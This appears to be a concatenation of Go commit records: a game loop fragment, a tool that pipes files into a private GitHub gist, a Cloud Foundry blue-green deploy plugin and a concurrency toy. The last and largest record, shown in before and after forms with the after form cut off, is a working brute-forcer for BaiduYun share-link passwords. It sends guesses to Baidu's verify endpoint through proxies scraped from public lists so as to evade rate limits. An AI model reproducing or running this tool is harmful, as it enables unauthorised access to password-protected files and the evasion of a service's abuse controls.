			fmt.Printf("ftime last: %f\tftime average %f\tcompletion %f%%\n", frameMs, averageFrameTime/1000000, game.Complete()*100)
		}

		// sleep only if drawing and there is time to sleep more than 3ms
		if doDraw && frameMs < FRAME_TIME_MS && FRAME_TIME_MS-frameMs > 3.0 {
			time.Sleep(time.Millisecond * time.Duration(FRAME_TIME_MS-frameMs))
		}
	}

	sdl.Quit()
}
<|endoftext|>


<commit_before>package main

/*
	Program that acts similar to cat()
	except instead of using stdout it creates
	a private gist in Github

	Uses an environment variable GITHUB_API to
	determine the users api key.
*/

import (
	"bytes"
	"fmt"
	"io"
	"os"

	"code.google.com/p/goauth2/oauth"
	"github.com/google/go-github/github"
)

const tokenEnv = "GITHUB_API"

type GistFiles map[github.GistFilename]github.GistFile

// Create GistFiles from stdin
func FromStdin(gistFiles GistFiles) {
	var stdOutBuff bytes.Buffer

	_, err := io.Copy(&stdOutBuff, os.Stdin)
	if err != nil {
		fmt.Printf("Error copying stdin to buffer: %v\n", err)
		os.Exit(1)
	}

	gistStr := stdOutBuff.String()
	gistFiles["gistfile1.txt"] = github.GistFile{Content: &gistStr}
}

// Cats file content together into a gistFile
func FromFiles(gistFiles GistFiles) {
	var stdOutBuff bytes.Buffer

	for _, fileName := range os.Args[1:] {
		file, err := os.Open(fileName)
		if err != nil {
			fmt.Printf("Error opening file %s: %v", fileName, err)
			os.Exit(1)
		}

		if _, err := io.Copy(&stdOutBuff, file); err != nil {
			fmt.Printf("Error copying file contents to buffer: %v\n", err)
		}
	}

	gistStr := stdOutBuff.String()
	gistFiles["gistfile1.txt"] = github.GistFile{Content: &gistStr}
}

func main() {

	apiToken := os.Getenv(tokenEnv)
	if apiToken == "" {
		fmt.Println("must set environment variable $GITHUB_API")
		os.Exit(1)
	}

	t := &oauth.Transport{
		Token: &oauth.Token{AccessToken: apiToken},
	}
	client := github.NewClient(t.Client())

	gistFiles := make(GistFiles)
	if len(os.Args) == 1 {
		FromStdin(gistFiles)
	} else {
		FromFiles(gistFiles)
	}

	public := false
	gist := github.Gist{
		Files:  gistFiles,
		Public: &public,
	}

	g, _, err := client.Gists.Create(&gist)
	if err == nil {
		fmt.Printf("New gist created: %s\n", *g.HTMLURL)
		os.Exit(0)
	} else {
		fmt.Printf("Error creating new gist: %v\n", err)
		os.Exit(1)
	}
}
<commit_msg>swapped package and comment location<commit_after>/*
	Program that acts similar to cat()
	except instead of using stdout it creates
	a private gist in Github

	Uses an environment variable GITHUB_API to
	determine the users api key.
*/

package main

import (
	"bytes"
	"fmt"
	"io"
	"os"

	"code.google.com/p/goauth2/oauth"
	"github.com/google/go-github/github"
)

const tokenEnv = "GITHUB_API"

type GistFiles map[github.GistFilename]github.GistFile

// Create GistFiles from stdin
func FromStdin(gistFiles GistFiles) {
	var stdOutBuff bytes.Buffer

	_, err := io.Copy(&stdOutBuff, os.Stdin)
	if err != nil {
		fmt.Printf("Error copying stdin to buffer: %v\n", err)
		os.Exit(1)
	}

	gistStr := stdOutBuff.String()
	gistFiles["gistfile1.txt"] = github.GistFile{Content: &gistStr}
}

// Cats file content together into a gistFile
func FromFiles(gistFiles GistFiles) {
	var stdOutBuff bytes.Buffer

	for _, fileName := range os.Args[1:] {
		file, err := os.Open(fileName)
		if err != nil {
			fmt.Printf("Error opening file %s: %v", fileName, err)
			os.Exit(1)
		}

		if _, err := io.Copy(&stdOutBuff, file); err != nil {
			fmt.Printf("Error copying file contents to buffer: %v\n", err)
		}
	}

	gistStr := stdOutBuff.String()
	gistFiles["gistfile1.txt"] = github.GistFile{Content: &gistStr}
}

func main() {

	apiToken := os.Getenv(tokenEnv)
	if apiToken == "" {
		fmt.Println("must set environment variable $GITHUB_API")
		os.Exit(1)
	}

	t := &oauth.Transport{
		Token: &oauth.Token{AccessToken: apiToken},
	}
	client := github.NewClient(t.Client())

	gistFiles := make(GistFiles)
	if len(os.Args) == 1 {
		FromStdin(gistFiles)
	} else {
		FromFiles(gistFiles)
	}

	public := false
	gist := github.Gist{
		Files:  gistFiles,
		Public: &public,
	}

	g, _, err := client.Gists.Create(&gist)
	if err == nil {
		fmt.Printf("New gist created: %s\n", *g.HTMLURL)
		os.Exit(0)
	} else {
		fmt.Printf("Error creating new gist: %v\n", err)
		os.Exit(1)
	}
}
<|endoftext|>


<commit_before>package main

import (
	"encoding/json"
	"flag"
	"fmt"
	"os"

	"github.com/cloudfoundry/cli/cf/i18n"
	"github.com/cloudfoundry/cli/cf/manifest"
	"github.com/cloudfoundry/cli/plugin"
	go_i18n "github.com/nicksnyder/go-i18n/i18n"
)

var PluginVersion string

type CfPlugin struct {
	Connection plugin.CliConnection
	Deployer   BlueGreenDeployer
}

func (p *CfPlugin) Run(cliConnection plugin.CliConnection, args []string) {
	p.Connection = cliConnection

	defaultCfDomain, err := p.DefaultCfDomain()
	if err != nil {
		fmt.Println("Failed to get default shared domain")
		os.Exit(1)
	}

	p.Deployer.Setup(cliConnection)

	if len(args) < 2 {
		fmt.Println("App name must be provided")
		os.Exit(1)
	}

	if !p.Deploy(defaultCfDomain, manifest.ManifestDiskRepository{}, args) {
		fmt.Println("Smoke tests failed")
		os.Exit(1)
	}
}

func (p *CfPlugin) Deploy(defaultCfDomain string, repo manifest.ManifestRepository, args []string) bool {
	appName := args[1]

	p.Deployer.DeleteAllAppsExceptLiveApp(appName)
	liveApp := p.Deployer.LiveApp(appName)

	newAppName := appName + "-new"
	newApp := Application{
		Name:          newAppName,
		DefaultDomain: defaultCfDomain,
		Routes:        []Route{{Host: newAppName, Domain: Domain{Name: defaultCfDomain}}},
	}
	p.Deployer.PushNewApp(&newApp)

	f := ManifestAppFinder{AppName: appName, Repo: repo}
	if manifestApp := f.Application(appName); manifestApp != nil {
		newApp.Routes = append(newApp.Routes, manifestApp.Routes...)
	}

	promoteNewApp := true
	smokeTestScript := ExtractIntegrationTestScript(args)
	if smokeTestScript != "" {
		promoteNewApp = p.Deployer.RunSmokeTests(smokeTestScript, newApp.DefaultRoute().FQDN())
	}

	if promoteNewApp {
		if liveApp != nil {
			p.Deployer.RemapRoutesFromLiveAppToNewApp(*liveApp, newApp)
			p.Deployer.MapAllRoutes(&newApp)
			p.Deployer.UnmapTemporaryRouteFromNewApp(newApp)
			p.Deployer.RenameApp(liveApp, appName+"-old")
			p.Deployer.RenameApp(&newApp, appName)
		} else {
			p.Deployer.MapAllRoutes(&newApp)
			p.Deployer.UnmapTemporaryRouteFromNewApp(newApp)
			p.Deployer.RenameApp(&newApp, appName)
		}
		return true
	} else {
		p.Deployer.UnmapTemporaryRouteFromNewApp(newApp)
		p.Deployer.RenameApp(&newApp, appName+"-failed")
		return false
	}
}

func (p *CfPlugin) GetMetadata() plugin.PluginMetadata {
	var major, minor, build int
	fmt.Sscanf(PluginVersion, "%d.%d.%d", &major, &minor, &build)

	return plugin.PluginMetadata{
		Name: "blue-green-deploy",
		Version: plugin.VersionType{
			Major: major,
			Minor: minor,
			Build: build,
		},
		Commands: []plugin.Command{
			{
				Name:     "blue-green-deploy",
				Alias:    "bgd",
				HelpText: "Zero-downtime deploys with smoke tests",
				UsageDetails: plugin.Usage{
					Usage: "blue-green-deploy APP_NAME [--smoke-test TEST_SCRIPT]",
					Options: map[string]string{
						"smoke-test": "The test script to run.",
					},
				},
			},
		},
	}
}

func (p *CfPlugin) DefaultCfDomain() (domain string, err error) {
	var res []string
	if res, err = p.Connection.CliCommandWithoutTerminalOutput("curl", "/v2/shared_domains"); err != nil {
		return
	}

	response := struct {
		Resources []struct {
			Entity struct {
				Name string
			}
		}
	}{}

	if err = json.Unmarshal([]byte(res[0]), &response); err != nil {
		return
	}

	domain = response.Resources[0].Entity.Name
	return
}

func ExtractIntegrationTestScript(args []string) string {
	f := flag.NewFlagSet("blue-green-deploy", flag.ExitOnError)
	script := f.String("smoke-test", "", "")
	f.Parse(args[2:])
	return *script
}

func main() {
	// T needs to point to a translate func, otherwise cf internals blow up
	i18n.T, _ = go_i18n.Tfunc("")
	p := CfPlugin{
		Deployer: &BlueGreenDeploy{
			ErrorFunc: func(message string, err error) {
				fmt.Printf("%v - %v\n", message, err)
				os.Exit(1)
			},
			Out: os.Stdout,
		},
	}

	plugin.Start(&p)
}
<commit_msg>Handle plugin uninstall<commit_after>package main

import (
	"encoding/json"
	"flag"
	"fmt"
	"os"

	"github.com/cloudfoundry/cli/cf/i18n"
	"github.com/cloudfoundry/cli/cf/manifest"
	"github.com/cloudfoundry/cli/plugin"
	go_i18n "github.com/nicksnyder/go-i18n/i18n"
)

var PluginVersion string

type CfPlugin struct {
	Connection plugin.CliConnection
	Deployer   BlueGreenDeployer
}

func (p *CfPlugin) Run(cliConnection plugin.CliConnection, args []string) {
	if len(args) > 0 && args[0] == "CLI-MESSAGE-UNINSTALL" {
		return
	}

	p.Connection = cliConnection

	defaultCfDomain, err := p.DefaultCfDomain()
	if err != nil {
		fmt.Println("Failed to get default shared domain")
		os.Exit(1)
	}

	p.Deployer.Setup(cliConnection)

	if len(args) < 2 {
		fmt.Println("App name must be provided")
		os.Exit(1)
	}

	if !p.Deploy(defaultCfDomain, manifest.ManifestDiskRepository{}, args) {
		fmt.Println("Smoke tests failed")
		os.Exit(1)
	}
}

func (p *CfPlugin) Deploy(defaultCfDomain string, repo manifest.ManifestRepository, args []string) bool {
	appName := args[1]

	p.Deployer.DeleteAllAppsExceptLiveApp(appName)
	liveApp := p.Deployer.LiveApp(appName)

	newAppName := appName + "-new"
	newApp := Application{
		Name:          newAppName,
		DefaultDomain: defaultCfDomain,
		Routes:        []Route{{Host: newAppName, Domain: Domain{Name: defaultCfDomain}}},
	}
	p.Deployer.PushNewApp(&newApp)

	f := ManifestAppFinder{AppName: appName, Repo: repo}
	if manifestApp := f.Application(appName); manifestApp != nil {
		newApp.Routes = append(newApp.Routes, manifestApp.Routes...)
	}

	promoteNewApp := true
	smokeTestScript := ExtractIntegrationTestScript(args)
	if smokeTestScript != "" {
		promoteNewApp = p.Deployer.RunSmokeTests(smokeTestScript, newApp.DefaultRoute().FQDN())
	}

	if promoteNewApp {
		if liveApp != nil {
			p.Deployer.RemapRoutesFromLiveAppToNewApp(*liveApp, newApp)
			p.Deployer.MapAllRoutes(&newApp)
			p.Deployer.UnmapTemporaryRouteFromNewApp(newApp)
			p.Deployer.RenameApp(liveApp, appName+"-old")
			p.Deployer.RenameApp(&newApp, appName)
		} else {
			p.Deployer.MapAllRoutes(&newApp)
			p.Deployer.UnmapTemporaryRouteFromNewApp(newApp)
			p.Deployer.RenameApp(&newApp, appName)
		}
		return true
	} else {
		p.Deployer.UnmapTemporaryRouteFromNewApp(newApp)
		p.Deployer.RenameApp(&newApp, appName+"-failed")
		return false
	}
}

func (p *CfPlugin) GetMetadata() plugin.PluginMetadata {
	var major, minor, build int
	fmt.Sscanf(PluginVersion, "%d.%d.%d", &major, &minor, &build)

	return plugin.PluginMetadata{
		Name: "blue-green-deploy",
		Version: plugin.VersionType{
			Major: major,
			Minor: minor,
			Build: build,
		},
		Commands: []plugin.Command{
			{
				Name:     "blue-green-deploy",
				Alias:    "bgd",
				HelpText: "Zero-downtime deploys with smoke tests",
				UsageDetails: plugin.Usage{
					Usage: "blue-green-deploy APP_NAME [--smoke-test TEST_SCRIPT]",
					Options: map[string]string{
						"smoke-test": "The test script to run.",
					},
				},
			},
		},
	}
}

func (p *CfPlugin) DefaultCfDomain() (domain string, err error) {
	var res []string
	if res, err = p.Connection.CliCommandWithoutTerminalOutput("curl", "/v2/shared_domains"); err != nil {
		return
	}

	response := struct {
		Resources []struct {
			Entity struct {
				Name string
			}
		}
	}{}

	if err = json.Unmarshal([]byte(res[0]), &response); err != nil {
		return
	}

	domain = response.Resources[0].Entity.Name
	return
}

func ExtractIntegrationTestScript(args []string) string {
	f := flag.NewFlagSet("blue-green-deploy", flag.ExitOnError)
	script := f.String("smoke-test", "", "")
	f.Parse(args[2:])
	return *script
}

func main() {
	// T needs to point to a translate func, otherwise cf internals blow up
	i18n.T, _ = go_i18n.Tfunc("")
	p := CfPlugin{
		Deployer: &BlueGreenDeploy{
			ErrorFunc: func(message string, err error) {
				fmt.Printf("%v - %v\n", message, err)
				os.Exit(1)
			},
			Out: os.Stdout,
		},
	}

	plugin.Start(&p)
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"math/rand"
	"sync"
	"time"
)

var wg sync.WaitGroup
var wga sync.WaitGroup

type person struct {
	Name    string
	AllDone bool
}

var people []person
var mtx = &sync.Mutex{}
var alarmset bool

func main() {
	fmt.Println("Let's go for walk!")
	Bob := person{"Bob", false}
	Alice := person{"Alice", false}
	people = []person{Bob, Alice}

	wg.Add(2)
	go people[0].dotask("getting ready", 10, 20, false)
	go people[1].dotask("getting ready", 10, 20, false)
	wg.Wait()

	wga.Add(1)
	go setAlarm(60)

	wg.Add(2)
	go people[0].dotask("putting on shoes", 10, 20, true)
	go people[1].dotask("putting on shoes", 10, 20, true)
	wg.Wait()
	if alarmset {
		fmt.Println("Crap!  The alarm is already set.")
	} else {
		fmt.Println("Exiting and locking door.")
	}
	wga.Wait()
}

func setAlarm(delay int) {
	fmt.Println("Arming alarm.")
	fmt.Println("Alarm is counting down.")
	time.Sleep(time.Duration(delay) * time.Second)
	alarmset = true
	fmt.Println("Alarm armed.")
	mtx.Lock()
	for _, v := range people {
		if v.AllDone == false {
			fmt.Printf("Alarm set before %v was ready.\n", v.Name)
		}
	}
	defer func() {
		mtx.Unlock()
		wga.Done()
	}()
}

func (p *person) dotask(task string, min int, max int, setdone bool) {
	defer wg.Done()
	s := random(min, max)
	fmt.Println(p.Name, "started", task)
	time.Sleep(time.Duration(s) * time.Second)
	fmt.Println(p.Name, "spent", s, "seconds", task)
	if setdone {
		mtx.Lock()
		p.AllDone = true
		mtx.Unlock()
	}
}

func random(min, max int) int {
	rand.Seed(time.Now().Unix())
	time.Sleep(10 * time.Microsecond)
	return rand.Intn(max-min) + min
}
<commit_msg>add range loops around people slice<commit_after>package main

import (
	"fmt"
	"math/rand"
	"sync"
	"time"
)

var wg sync.WaitGroup
var wga sync.WaitGroup

type person struct {
	Name    string
	AllDone bool
}

var people []person
var mtx = &sync.Mutex{}
var alarmset bool

func main() {
	fmt.Println("Let's go for walk!")
	Bob := person{"Bob", false}
	Alice := person{"Alice", false}
	people = []person{Bob, Alice}

	for _, v := range people {
		wg.Add(1)
		go v.dotask("getting ready", 10, 20, false)
	}
	wg.Wait()

	wga.Add(1)
	go setAlarm(60)

	for _, v := range people {
		wg.Add(1)
		go v.dotask("putting on shoes", 10, 20, true)
	}
	wg.Wait()
	if alarmset {
		fmt.Println("Crap!  The alarm is already set.")
	} else {
		fmt.Println("Exiting and locking door.")
	}
	wga.Wait()
}

func setAlarm(delay int) {
	fmt.Println("Arming alarm.")
	fmt.Println("Alarm is counting down.")
	time.Sleep(time.Duration(delay) * time.Second)
	alarmset = true
	fmt.Println("Alarm armed.")
	mtx.Lock()
	for _, v := range people {
		if v.AllDone == false {
			fmt.Printf("Alarm set before %v was ready.\n", v.Name)
		}
	}
	defer func() {
		mtx.Unlock()
		wga.Done()
	}()
}

func (p *person) dotask(task string, min int, max int, setdone bool) {
	defer wg.Done()
	s := random(min, max)
	fmt.Println(p.Name, "started", task)
	time.Sleep(time.Duration(s) * time.Second)
	fmt.Println(p.Name, "spent", s, "seconds", task)
	if setdone {
		mtx.Lock()
		p.AllDone = true
		mtx.Unlock()
	}
}

func random(min, max int) int {
	rand.Seed(time.Now().Unix())
	time.Sleep(10 * time.Microsecond)
	return rand.Intn(max-min) + min
}
<|endoftext|>


<commit_before>package main

import (
	"encoding/json"
	"fmt"
	"gopkg.in/alecthomas/kingpin.v2"
	"gopkg.in/cheggaaa/pb.v1"
	"log"
	"net/http"
	"net/http/cookiejar"
	"os"
	"regexp"
	"strconv"
	"strings"
	"sync"
	"time"
	"os/signal"
	"bufio"
	"io/ioutil"
	"math/rand"
	"net/url"
)

const (
	MAX_VALUE int64 = 1679616 // 36^4
	MAX_RETRY = 10
	RETRY_TIME = 5 * time.Second
	TIMEOUT = 20 * time.Second
)

var (
	link = kingpin.Arg("link", "URL of BaiduYun file you want to get.").Required().String()
	preset = kingpin.Flag("preset", "The preset start of key to brute.").Short('p').Default("0000").String()
	thread = kingpin.Flag("thread", "Number of thread.").Short('t').Default("10").Int64()
	resolver    []*Resolve
	bar         *pb.ProgressBar
	shareid, uk string
	start int64
	refer string
	wg sync.WaitGroup
	proxies     map[Proxy]int
	updater     []*Proxies
	mapLocker *sync.Mutex
	useable *AtomBool
	nullP Proxy
)

type Info struct {
	Errno  int    `json:"errno"`
	ErrMsg string `json:"err_msg"`
}

type Proxy struct {
	typ, addr, port string
}

type Resolve struct {
	re  *regexp.Regexp
	fun func(*regexp.Regexp, string)
}

type Proxies struct {
	update func()
}

type AtomBool struct {
	flag bool
	lock *sync.Mutex
}

func (b *AtomBool) Set(value bool) {
	b.lock.Lock()
	defer b.lock.Unlock()
	b.flag = value
}

func (b *AtomBool) Get() bool {
	b.lock.Lock()
	defer b.lock.Unlock()
	if b.flag {
		b.flag = false
		return true
	}
	return false
}

func getProxy() (Proxy, bool) {
	//strings.Contains(err.Error(), "error connecting to proxy")
	mapLocker.Lock()
	defer mapLocker.Unlock()
	for {
		if len(proxies) <= 0 {
			return nullP, false
		}
		ran := rand.Intn(len(proxies))
		cnt := 0
		for i, k := range proxies {
			if k >= MAX_RETRY {
				delete(proxies, i)
				break
			}
			if cnt == ran {
				return i, true
			}
			cnt++
		}
	}
}

func addProxy(in Proxy) {
	mapLocker.Lock()
	defer mapLocker.Unlock()
	proxies[in] = 0
}

func deleteProxy(in Proxy) {
	mapLocker.Lock()
	defer mapLocker.Unlock()
	delete(proxies, in)
}

func increProxy(in Proxy) {
	mapLocker.Lock()
	defer mapLocker.Unlock()
	proxies[in]++
}

func saveProxies() {
	updater = append(updater,
		&Proxies{
			func() {
				for {
					resp, err := http.Get("http://api.xicidaili.com/free2016.txt")
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					sca := bufio.NewScanner(resp.Body)
					for sca.Scan() {
						spl := strings.Split(sca.Text(), ":")
						if len(spl) != 2 {
							log.Fatal("WTF??")
						}
						ne := Proxy{"http", spl[0], spl[1]}
						addProxy(ne)
					}
					resp.Body.Close()
					time.Sleep(15 * time.Minute)
				}
			},
		})
	updater = append(updater,
		&Proxies{
			func() {
				for {
					resp, err := http.Get("http://proxy.tekbreak.com/1000/json")
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					var sca []struct {
						IP   string `json:"ip"`
						Port string `json:"port"`
						Type string `json:"type"`
					}
					if err := json.NewDecoder(resp.Body).Decode(&sca); err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					for _, i := range sca {
						ne := Proxy{addr: i.IP, port: i.Port}
						ignore := false
						switch i.Type {
						case "HTTP":
							ne.typ = "http"
						case "HTTPS":
							ne.typ = "https"
						default:
							ignore = true
						}
						if !ignore {
							addProxy(ne)
						}
					}
					resp.Body.Close()
					time.Sleep(5 * time.Minute)
				}
			},
		})
	updater = append(updater,
		&Proxies{
			func() {
				for {
					resp, err := http.Get("https://www.sslproxies.org/")
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					conte, err := ioutil.ReadAll(resp.Body)
					resp.Body.Close()
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					re, _ := regexp.Compile(`<tr><td>(\d+\.\d+\.\d+\.\d+)</td><td>(\d+)</td>.*</tr>`)
					sca := re.FindAllStringSubmatch(string(conte), -1)
					for _, i := range sca {
						if len(i) != 3 {
							log.Fatal("WTF??")
						}
						ne := Proxy{"https", i[1], i[2]}
						addProxy(ne)
					}
					time.Sleep(5 * time.Minute)
				}
			},
		})
}

func next(now string, count int64) int64 {
	num, err := strconv.ParseInt(now, 36, 64)
	if err != nil || num < 0 || num > MAX_VALUE {
		log.Fatal("Not a valid number!")
	}
	return num + count
}

func saveResolver() {
	re1, _ := regexp.Compile(`//pan\.baidu\.com/share/init\?shareid=(\d+)&uk=(\d+)`)
	resolver = append(resolver,
		&Resolve{
			re1,
			func(re *regexp.Regexp, ori string) {
				ret := re.FindStringSubmatch(ori)
				if len(ret) != 3 {
					log.Fatal("WTF??", ori)
				}
				shareid = ret[1]
				uk = ret[2]
				refer = ori
			},
		})
	re2, _ := regexp.Compile(`//pan\.baidu\.com/s/([a-zA-Z0-9]+)`)
	resolver = append(resolver,
		&Resolve{
			re2,
			func(re *regexp.Regexp, ori string) {
				jar, _ := cookiejar.New(nil)
				session := &http.Client{
					Jar: jar,
					CheckRedirect: func(req *http.Request, via []*http.Request) error {
						return http.ErrUseLastResponse
					},
				}
				for {
					resp, err := session.Get(ori)
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
						continue
					}
					if resp.StatusCode == 200 {
						log.Fatal("Link seems password-less!")
					} else if resp.StatusCode == 302 {
						if resolver[0].re.MatchString(resp.Header.Get("Location")) {
							resolver[0].fun(resolver[0].re, resp.Header.Get("Location"))
						} else {
							log.Fatal("WTF??", ori, resp.Header.Get("Location"))
						}
						break
					}
				}
			},
		})
}

func builder(now string) (*http.Response, Proxy, error) {
	var pro Proxy
	for {
		var ok bool
		if pro, ok = getProxy(); ok {
			useable.Set(true)
			break
		}
		if useable.Get() {
			log.Println("No proxies left! Threads will hang up...")
		}
		time.Sleep(RETRY_TIME)
	}
	par, _ := url.Parse(fmt.Sprintf("%s://%s:%s", pro.typ, pro.addr, pro.port))
	session := &http.Client{
		Timeout: TIMEOUT,
		Transport: &http.Transport{Proxy: http.ProxyURL(par)},
	}
	req, err := http.NewRequest("POST", fmt.Sprintf("https://pan.baidu.com/share/verify?shareid=%s&uk=%s", shareid, uk), strings.NewReader(fmt.Sprintf("pwd=%04s&vcode=&vcode_str=", now)))
	if err != nil {
		log.Fatal(err)
	}
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36")
	req.Header.Set("Origin", "https://pan.baidu.com")
	req.Header.Set("Referer", refer)
	resp, err := session.Do(req)
	if err != nil && strings.Contains(err.Error(), "error connecting to proxy") { // ugly way
		increProxy(pro)
	}
	return resp, pro, err
}

func tester(work int64) {
	for work < MAX_VALUE {
		now := strconv.FormatInt(work, 36)
		info := new(Info)
		for {
			if resp, pro, err := builder(now); err == nil {
				if resp.StatusCode == 200 {
					if err = json.NewDecoder(resp.Body).Decode(info); err == nil {
						if info.Errno == 0 {
							log.Println("Key found!", now)
							os.Exit(0)
						} else if info.Errno != -9 {
							log.Println("Unknown error! Service returned", info.Errno, "with message:", info.ErrMsg)
						} else {
							break
						}
					}
				} else if resp.StatusCode == 404 {
					deleteProxy(pro)
				} else {
					log.Println("Unknown error! Server returned", resp.StatusCode)
				}
				resp.Body.Close()
			}
			time.Sleep(RETRY_TIME)
		}
		bar.Increment()
		work += *thread
	}
	wg.Done()
}

func init() {
	kingpin.CommandLine.HelpFlag.Short('h')
	kingpin.Parse()
	saveResolver() // For future expansion of resolver
	mapLocker = new(sync.Mutex)
	useable = new(AtomBool)
	useable.lock = new(sync.Mutex)
	useable.Set(true)
	proxies = make(map[Proxy]int)
	saveProxies() // For future expansion of proxy
	var indi int
	for indi = 0; indi < len(resolver); indi++ {
		if resolver[indi].re.MatchString(*link) {
			resolver[indi].fun(resolver[indi].re, *link)
			break
		}
	}
	if indi == len(resolver) {
		log.Fatal("No proper resolver found!")
	}
	for _, i := range updater {
		go i.update()
	}
	start = next(*preset, 0)
	bar = pb.New64(MAX_VALUE)
	bar.SetMaxWidth(70)
	bar.ShowCounters = false
	bar.ShowSpeed = true
	bar.ShowTimeLeft = true
	bar.ShowFinalTime = true
	bar.Set64(start)
	bar.Start()
	c := make(chan os.Signal, 1)
	signal.Notify(c, os.Interrupt)
	go func() {
		for _ = range c {
			log.Printf("Terminating program, current progress: %04s", strconv.FormatInt(bar.Get(), 36))
			os.Exit(1)
		}
	}()
}

func main() {
	//go func() {
	//	for {
	//		log.Println(len(proxies))
	//		for i, k := range proxies {
	//			log.Println(i, k)
	//			break
	//		}
	//		time.Sleep(RETRY_TIME)
	//	}
	//}() // DEBUG
	log.SetPrefix("\n")
	wg.Add(int(*thread))
	for i := int64(0); i < *thread; i++ {
		go tester(start + i)
	}
	wg.Wait()
	log.Fatal("No key found!")
}
<commit_msg>Some format<commit_after>package main

import (
	"bufio"
	"encoding/json"
	"fmt"
	"gopkg.in/alecthomas/kingpin.v2"
	"gopkg.in/cheggaaa/pb.v1"
	"io/ioutil"
	"log"
	"math/rand"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"os"
	"os/signal"
	"regexp"
	"strconv"
	"strings"
	"sync"
	"time"
)

const (
	MAX_VALUE  int64 = 1679616 // 36^4
	MAX_RETRY        = 10
	RETRY_TIME       = 5 * time.Second
	TIMEOUT          = 20 * time.Second
)

var (
	link        = kingpin.Arg("link", "URL of BaiduYun file you want to get.").Required().String()
	preset      = kingpin.Flag("preset", "The preset start of key to brute.").Short('p').Default("0000").String()
	thread      = kingpin.Flag("thread", "Number of thread.").Short('t').Default("10").Int64()
	resolver    []*Resolve
	bar         *pb.ProgressBar
	shareid, uk string
	start       int64
	refer       string
	wg          sync.WaitGroup
	proxies     map[Proxy]int
	updater     []*Proxies
	mapLocker   *sync.Mutex
	useable     *AtomBool
	nullP       Proxy
)

type Info struct {
	Errno  int    `json:"errno"`
	ErrMsg string `json:"err_msg"`
}

type Proxy struct {
	typ, addr, port string
}

type Resolve struct {
	re  *regexp.Regexp
	fun func(*regexp.Regexp, string)
}

type Proxies struct {
	update func()
}

type AtomBool struct {
	flag bool
	lock *sync.Mutex
}

func (b *AtomBool) Set(value bool) {
	b.lock.Lock()
	defer b.lock.Unlock()
	b.flag = value
}

func (b *AtomBool) Get() bool {
	b.lock.Lock()
	defer b.lock.Unlock()
	if b.flag {
		b.flag = false
		return true
	}
	return false
}

func getProxy() (Proxy, bool) {
	mapLocker.Lock()
	defer mapLocker.Unlock()
	for {
		if len(proxies) <= 0 {
			return nullP, false
		}
		ran := rand.Intn(len(proxies))
		cnt := 0
		for i, k := range proxies {
			if k >= MAX_RETRY {
				delete(proxies, i)
				break
			}
			if cnt == ran {
				return i, true
			}
			cnt++
		}
	}
}

func addProxy(in Proxy) {
	mapLocker.Lock()
	defer mapLocker.Unlock()
	proxies[in] = 0
}

func deleteProxy(in Proxy) {
	mapLocker.Lock()
	defer mapLocker.Unlock()
	delete(proxies, in)
}

func increProxy(in Proxy) {
	mapLocker.Lock()
	defer mapLocker.Unlock()
	proxies[in]++
}

func saveProxies() {
	updater = append(updater,
		&Proxies{
			func() {
				for {
					resp, err := http.Get("http://api.xicidaili.com/free2016.txt")
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					sca := bufio.NewScanner(resp.Body)
					for sca.Scan() {
						spl := strings.Split(sca.Text(), ":")
						if len(spl) != 2 {
							log.Fatal("WTF??")
						}
						ne := Proxy{"http", spl[0], spl[1]}
						addProxy(ne)
					}
					resp.Body.Close()
					time.Sleep(15 * time.Minute)
				}
			},
		})
	updater = append(updater,
		&Proxies{
			func() {
				for {
					resp, err := http.Get("http://proxy.tekbreak.com/1000/json")
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					var sca []struct {
						IP   string `json:"ip"`
						Port string `json:"port"`
						Type string `json:"type"`
					}
					if err := json.NewDecoder(resp.Body).Decode(&sca); err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					for _, i := range sca {
						ne := Proxy{addr: i.IP, port: i.Port}
						ignore := false
						switch i.Type {
						case "HTTP":
							ne.typ = "http"
						case "HTTPS":
							ne.typ = "https"
						default:
							ignore = true
						}
						if !ignore {
							addProxy(ne)
						}
					}
					resp.Body.Close()
					time.Sleep(5 * time.Minute)
				}
			},
		})
	updater = append(updater,
		&Proxies{
			func() {
				for {
					resp, err := http.Get("https://www.sslproxies.org/")
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					conte, err := ioutil.ReadAll(resp.Body)
					resp.Body.Close()
					if err != nil {
						log.Println(err)
						time.Sleep(RETRY_TIME)
					}
					re, _ := regexp.Compile(`<tr><td>(\d+\.\d+\.\d+\.\d+)</td><td>(\d+)</td>.*</tr>`)
					sca := re.FindAllStringSubmatch(string(conte), -1)
					for _, i := range sca {
						if len(i) != 3 {
							log.Fatal("WTF??")
						}
						ne := Proxy{"https", i[1], i[2]}
						addProxy(ne)
					}
					time.Sleep(5 * time.Minute)
				}
			},
		})
}

func next(now string, count int64) int64 {
	num, err := strconv.ParseInt(now, 36, 64)
	if err != nil || num < 0 || num > MAX_VALUE {
		log.Fatal("Not a valid number!")
	}
	return num + count
}

func saveResolver() {
	re1, _ := regexp.Compile(`//pan\.baidu\.com/share/init\?shareid=(\d+)&uk=(\d+)`)
	resolver = append(resolver,
		&Resolve{
			re1,
			func(re *regexp.Regexp, ori string) {
				ret := re.FindStringSubmatch(ori)
				if len(ret) != 3 {
					log.Fatal("WTF??", ori)
				}
				shareid = ret[1]
				uk = ret[2]
				refer = ori
			},
		})
	re2, _ := regexp.Compile(`//pan\.baidu\.com/s/([a-zA-Z0-9]+)`)
	resolver = append(resolver,
		&Resolve{
			re2,
			func(re *regexp.Regexp, ori string) {
				jar, _ := cookiejar.New(nil)
				session := &http.Client{
					Jar: jar,
					CheckRedirect: func(req *http.Request, via []*http.Request) error {
						return http.ErrUseLastResponse
					},
				}
				for {
